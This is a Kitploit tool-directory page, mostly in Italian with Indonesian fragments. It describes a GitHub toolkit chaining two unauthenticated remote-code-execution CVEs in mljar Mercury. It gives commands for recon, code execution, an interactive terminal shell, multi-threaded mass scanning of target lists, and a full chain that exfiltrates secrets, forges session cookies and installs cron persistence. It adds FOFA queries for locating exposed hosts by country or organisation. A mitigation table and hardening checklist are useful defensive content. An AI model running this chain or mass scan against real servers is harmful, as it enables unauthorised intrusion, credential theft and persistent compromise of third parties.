Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/exdev994/cve-2026-111058-cve-2026-111057-mercury-rce
RicognizioneScanner di Vulnerabilità WebMeccanismi di PersistenzaAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPost-Exploit
Penetration Testing
Strumento di Accesso Remoto
Lab e Pratica
GitHubexdev994/cve-2026-111058-cve-2026-111057-mercury-rce

CVE-2026-111058-CVE-2026-111057-mercury-rce

Mercury combo RCE non autenticato: CVE-2026-111058 (kernel) + CVE-2026-111057 (terminali). Di 0xNuts (@ExDev994). Solo test autorizzati.

Vedi Repository
129 giorni faNon ancora revisionato
Condividi

CVE-2026-111058+CVE-2026-111057-mercury-rce

Toolkit combinato per RCE non autenticato su Mercury (kernel + terminali).

Toolkit che combina due RCE non autenticati su mljar/mercury:

CVEAdvisoryVettore
CVE-2026-111058GHSA-rv4m-xm3f-3ccq/api/kernels + execute_request
CVE-2026-111057GHSA-f8c7-rwf9-fmgmbypass della blocklist di /api/terminals

Autore: 0xNuts (ExDev994)

Solo per test autorizzati (lab locale / target con autorizzazione scritta). L'uso improprio su sistemi senza autorizzazione è illegale.

Come eseguire gli strumenti

1. Clone e installazione

# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

2. Lab locale (consigliato per la prima volta)

python exploit.py --lab

Attendere che Docker completi la build, poi:

URLCVE attive
http://localhost:8883CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3)
http://localhost:8885solo CVE-2026-111058 (Mercury 3.2.5)

3. Un singolo target

# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon

# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce

# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals

4. Scansione di massa da file

Modifica targets.txt (un URL per riga), poi:

python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10

Auto port (solo modalità mass): se una riga è senza porta (ad es. example.com), il tool prova in sequenza:

  1. Senza porta (http://example.com → 80, oppure https:// → 443)
  2. Porte Mercury comuni: 8888, 8000, 5000

Si ferma al primo URL vulnerabile. Le righe che hanno già una porta (http://host:8883) non vengono espanse.

Esempio targets.txt:

# tanpa port → auto-fallback
example.com
mercury.internal

# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888

Terminal (verbose): ogni porta tentata + stato finale per ogni riga di destinazione:

example.com      [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com      [not vuln]
evil.com:8888    [trying...]
evil.com:8888    [vuln] [uid=0(root) gid=0(root) groups=0(root)]

File results.txt — solo quelli vulnerabili (append):

http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]

5. Catena completa (lab / pentest con autorizzazione)

python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron

Urutan: recon → RCE → exfil secret → coba forge session → persistence.

Ringkasan flag

FlagFungsi
-t / --targetURL Mercury (http://host:port)
-m / --moderecon, rce, exfil, full, persist, mass
--sinkauto, kernels, terminals
-tfFile daftar target (mode mass)
-rfFile hasil vuln (mode mass)
-thJumlah thread mass scan
--labdocker compose up di folder lab/

Arsitektur

  1. recon — probe POST /api/terminals dan POST /api/kernels untuk fingerprint versi.
  2. RCE — sink utama kernels (stealth), fallback terminals (shell interaktif).
  3. exfil — env, file config, kandidat secret dari proses Mercury.
  4. session_forge — best-effort forge cookie Flask-style dari secret yang ditemukan.
  5. persistence — notebook marker, patch sumber idle_timeout.py, opsional cron (lab).

PoC deterministic menulis marker /tmp/PWNED_MERCURY_RCE (lihat poc/payloads.py).

Struktur

mercury-combo/
├── exploit.py
├── mercury_combo/    # modul inti
├── lab/              # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/              # payload marker

FOFA / scoperta delle risorse (solo autorizzata)

FOFA aiuta solo a trovare candidati all'esposizione — non prove di vulnerabilità. Valida sempre manualmente e rispetta l'ambito dell'autorizzazione.

Inizia in modo ristretto (branding):

title="Mercury"
body="runmercury" || body="mljar-mercury"

Perketat (Jupyter + Mercury):

(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"

Ambito geografico / organizzativo (esempio):

title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"

Dopo aver ottenuto l'host, verifica con questo toolkit (-m recon o -m mass in lab/autorizzati), non eseguire scansioni massive senza autorizzazione.

Mitigazione / come correggere (difensore e amministratore)

ProblemaCVE / advisoryCorrezione
Virgola mancante in BLOCKED_PATTERNS → /api/terminals passaGHSA-f8c7-rwf9-fmgmAggiorna a ≥ 3.2.4 (commit di patch in v3.2.4). Verifica che /api/terminals sia effettivamente bloccato.
/api/kernels può ancora eseguire execute_request senza autenticazioneGHSA-rv4m-xm3f-3ccqLa blocklist non è sufficiente — è obbligatoria l'autenticazione (token/password Jupyter) per impostazione predefinita; non distribuire token='' su internet. Monitora le release di Mercury > 3.2.5 per la patch ufficiale.

Checklist di hardening:

  1. Aggiorna Mercury all'ultima versione patchata disponibile.
  2. Richiedi l'autenticazione — imposta token/password; disabilita la modalità anonima/senza token in produzione.
  3. Non esporre la porta 8888 (o la porta di Mercury) direttamente su Internet; mettila dietro una VPN o un reverse proxy con autenticazione (OAuth, mTLS, allowlist di IP).
  4. Rete — firewall in uscita/ingresso; segmentazione dei container (utente non-root, filesystem in sola lettura dove possibile).
  5. Rilevamento — alert su POST /api/kernels + POST /api/terminals da IP anonimi; picchi di WebSocket verso /api/kernels/*/channels e /terminals/websocket/*.
  6. Incidente — se esposto: ruota tutti i segreti (DB, chiavi API, session secret), controlla notebook e file server, ricostruisci il container da un'immagine pulita.

Verifica dopo la patch:

# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'

Riferimenti advisory

  • GHSA-rv4m-xm3f-3ccq — RCE dei kernel
  • GHSA-f8c7-rwf9-fmgm — bypass della blocklist dei terminali
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    343
  • 5

    antifox

    antifox-ai/antifox

    Piattaforma multi-agente di penetration testing autonoma basata sull'IA che esegue ricognizione, scoperta della superficie d'attacco, validazione dello sfruttamento e consegna di report supportati da evidenze.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    258

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →